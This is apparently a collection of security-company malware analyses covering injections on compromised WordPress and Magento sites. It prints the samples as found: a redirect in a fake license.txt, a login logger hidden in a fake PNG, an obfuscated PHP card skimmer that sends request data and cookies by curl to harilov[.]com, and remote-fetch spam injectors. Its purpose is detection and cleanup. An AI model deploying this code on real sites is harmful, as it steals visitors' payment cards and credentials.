Fake License.txt File Loaded Through PHP Include

Our team recently found a malicious injection located within a PHP include. The redirect occurs via the include function, which includes a file inconspicuously named license.txt.

During our investigation, we located the license.txt injected within header.php of the WordPress theme file.

include('license.txt'); ?>
        </header> <!-- #main-header -->
    <?php
        $main_header = ob_get_clean();

        /**
         * Filters the HTML output for the main header.
         *
         * @since ??
         *
         * @param string $main_header
         */
        echo apply_filters( 'et_html_main_header', $main_header );
    ?>
        <div id="et-main-area">
    <?php
        /**
         * Fires after the header, before the main content is output.
         *
         * @since ??
         */
        do_action( 'et_before_main_content' );

The license.txt file is essentially a redirect to send site visitors to a malicious domain, which uses HTML to generate a redirect to the malicious website https://times2day[.]com, and was registered on February 6th, 2020.

<?php
<html>
<meta http-equiv="X-UA-Compatible"
content="IE-Edge">
   <meta name="viewport" content="width=device-width,
initial scale=1">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@7.12.15/dist/sweetalert2.all.min.js"></script>
   <link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/sweetalert2@7.12.15/dist/sweetalert2.min.css'>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
   </script>
   <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js">
    </script>
   <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
</head>
<body>
<script>
swal({
    title: 'Oh, you must be visiting us!!!! ',
    text: 'Getting access..... ',
    icon: 'success',
    timer: 2000,
    buttons: false,
})
.then(() => {
    window.location.href = "https://times2day.com/";
})
</script>
</body>
</html>

?>

To detect these types of malicious injections, site owners can scan websites for known malware, blacklisting status, website errors, out-of-date software, and malicious code.

Magento Login Stealer in Fake bg_white.png Image

Our Remediation team analyst Ben Martin recently found a malicious injection in a compromised Magento 1.9.x installation that was stealing Magento user login credentials.

The injection was found in the core Magento file /app/code/core/Mage/Admin/Model/Session.php hiding alongside legitimate PHP code.

  $validate_session = fopen(getcwd()."/media/wysiwyg/bg_white.png", 'a+') or die("Error");
    $session_save2 =  "|Session_strat:".$_SERVER['HTTP_HOST']."Login:".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."Username:".$username."Password:".$password."IP Log:".$_SERVER['REMOTE_ADDR'] . ";" . date("m-d-y=H-i-s") . "\n";
    fwrite($validate_session, $session_save2);
    fclose($validate_session);

The malware works by defining the $validate_session variable to use the fopen function to open the existing bg_white.png file within the /media/wysiwyg/ directory.

This directory is typically used to host various image files, so the existence of a generically named .png file is not unusual. That being said, the contents of the bg_white.png file do not contain any image data at all. Instead, the contents contain sensitive user information, including Magento usernames, passwords, visitor’s IP addresses, request timestamps, and website information.

This stolen data is gathered by the second variable $session_save2, which leverages superglobal variables and various PHP functions to gather a visitor’s login data before saving it to the file opened by variable $validate_session.

A distinct red flag that caught our attention is the size of the bg_white.png file — it can be enormous. One sample ended up being over 1.4MB in size. The fake image was using much more disk space than similar legitimate images in the same directory. The reason its large size was that it had been stealing Magento login credentials every time someone had logged into their account for over one year. This resulted in over 7,500 lines of stolen logins dating back to February 2019.

To obtain these stolen credentials, the attacker simply needs to send a request for the image file to the infected website. The image file will then be downloaded, complete with all of the stolen Magento logins. Bad actors can easily download the file automatically using a schedule tasker or cron job tool to grab the image with wget and conveniently store it at a defined location.

If you suspect that your Magento site has been compromised or login credentials are being stolen, we offer a free hacked Magento guide to assist you with clean up. Our remediation specialists are also available to lend a hand with malware removal.

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

<?php
$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec
?>

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

Email Scraper: Mass Mail Grabber from Database

One of our Remediation team analysts, Liam Smith, discovered a malicious file on a client’s compromised WordPress website that demonstrates how attackers can use rudimentary tools to extract specific data from available databases.

In this case, a malicious PHP file was targeting email addresses stored on a compromised webserver.

./mail.php

The input data requested by the malicious PHP script is used to connect to the SQL server/service and access any available SQL databases. The connection information for the compromised website can be gathered from existing configuration files, such as wp-config.php and configuration.php.

Mass Mail Grabber from Database

Once the attacker completes and submits the form on mail.php, the malicious PHP code handles the rest. It connects to any available SQL databases with the login information submitted and queries them.

Mailicious PHP Code

The scraper was not elegantly designed; it’s not efficient in the methods used to perform SQL queries. As a result, it struggles to stay within reasonable max_execution_time or memory_limit limits defined by the hosting server’s php.ini settings.

This inefficiency stems from the fact that it uses the SQL user login information submitted by the attacker on the mail.php form to retrieve a list of available databases, then lists the tables for each database, and finally displays the columns for each table of each database.

Once the data is collected, the final result is then queried. The PHP function preg_match is used to look for text containing the @ symbol in the text fields of the query results. Anything containing the @ symbol is then dumped into the file result-mail.txt, which generates a hyperlink for the attacker to click and download after the malicious tool has finished running.

Size for Opera: Hiding Spammy Links

There are many different tricks hackers use to make injected spam links invisible to regular visitors.

Below is an example employed by one link spam campaign, which primarily promotes porn, torrents, and pharma.

We’re finding links like these inside various HTML tags with short, random ids:

<span id="4CN8d"><a href="hxxps://youjizz[.]center">teen girls</a> busty ebony chick.</span>
….
<section id="Xwy2w"><a href="hxxps://youjizz[.]center" title="hot teens">hxxps://youjizz[.]center</a><br>
<a href="hxxps://www.thefappeninggirls[.]com">fappening 2020</a> alexa gets her cumshot.<br></section>
….
<span id="hgPdT">
                <a href="hxxp://yourbunny[.]mobi/">hxxp://yourbunny[.]mobi/</a> <br/>
        <a href="hxxp://lime-torrents[.]org">hxxp://lime-torrents[.]org</a> <br/>
        <a href="hxxp://kickasstorrente[.]net" rel="nofollow">kickass</a>
</span>

To hide the links, hackers injects scripts with misleading code.

For example, the following snippet tries to set the size of the spam link element to something entirely fictitious: size_for("Opera")

Code that hides the links

It even contains a function that counts the size. However, not only is the code unrelated to the Opera browser, it’s also erroneous because of the use of the undefined “sum” function.

This error is there “by design”. The code that invokes the size_for function is placed in the try...catch...finally block. No matter what happens in these try and catch blocks, it will always fall back to the finally section, which sets the “display” style of the element to “none”.

In another wave of link injections, this same campaign uses a combination of the following two scripts:

Two-piece spam hiding script

The first script defines the function end_(), which uses a misleadingly named function get_style() to hide the spam element. The second script is injected further in the HTML code to invoke the end_() function and conceal the spam.

At the time of writing, PublicWWW shows over a thousand websites with injected links from this campaign:

Shoesinfy Spam Injections

Lately, we've seen quite a few sites with injected spammy links that follow this format:

<div style="position: absolute; opacity: 0.001; z-index: 10; filter: alpha(opacity=0);">
<a href="https://www.shoesfindoutlet[.]co/">www.shoesfindoutlet[.]co</a>
<a href="https://www.stepperbest[.]com/">stepper motor</a>
</div>

The spammy domains may change from time to time but the entire format — and trick to make the content invisible — remains the same.

When we clean infected WordPress sites related to this campaign, we find malicious code similar to the following snippet injected into the active theme's function.php file.

<?php
function add_my_custom_script(){
$url_current = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
 <?php
    $url5 = "https://<compromised-site>/";
    if($url_current == $url5){ 
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site1>.txt');
    echo $file;
    ?>

<?php 
}
else
{
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site>.txt');
    echo $file;
}
?>

<?php
}
add_action('wp_footer', 'add_my_custom_script');

The block with spammy links is fetched from the remote shoesinfy[.]com site, allowing attackers to modify the injected code without accessing the site.

Moreover, each compromised site has its own text file with links on shoesinfy[.]com (found as shoesinfy[.]com/domain.tld1.txt). This text file allows bad actors to customize their spam injections across different compromised sites.

Spam Injector Masquerading as Google Analytics

The domain en-google-analytic[.]com, currently sinkholed by a security intelligence company, has been observed by our team to be part of a mass spam injection campaign. This attack was active as far back as February 2016 according to the Internet Archive Wayback Machine.

We have seen recent cases in the wild where a script is injected into WordPress posts. The script then generates an AJAX request from a visitor's web browser to the following URL format:

hxxp://en-google-analytic[.]com/client-slots/check/<fully qualified domain name>;<base64 encoded string of the URL>;<string of the IP address>;ver1_0 

The results are then inserted directly into the document body by using JavaScript to insert spam links (as shown in the partial sample below):

clientInfo.callGet('hxxp://en-google-analytic[.]com/client-slots/check/' + dataString, function(dataLinks) { 
  if (dataLinks) { 
    dataLinks = 
    JSON.parse(dataLinks); 
    for (var i = 0; i < dataLinks.length; i++) { 
       var div1 = document.createElement('a'); 
       div1.title = dataLinks[i].anchor; 
       div1.href = dataLinks[i].href; 
       div1.setAttribute('style', 'display:block;'); 
       div1.innerHTML = dataLinks[i].anchor; 
       document.body.insertBefore(div1, document.body.firstChild); 
    } 
} 

It’s worth noting that this piece of malware captures the IP address using a remote request to api.ipify.org which is a legitimate third-party API service.

So, if you happen to stumble upon references to en-google-analytic[.]com on your website or in your WordPress posts, it would be a good idea to have the site checked out to make sure it’s not infected with spam as part of this campaign.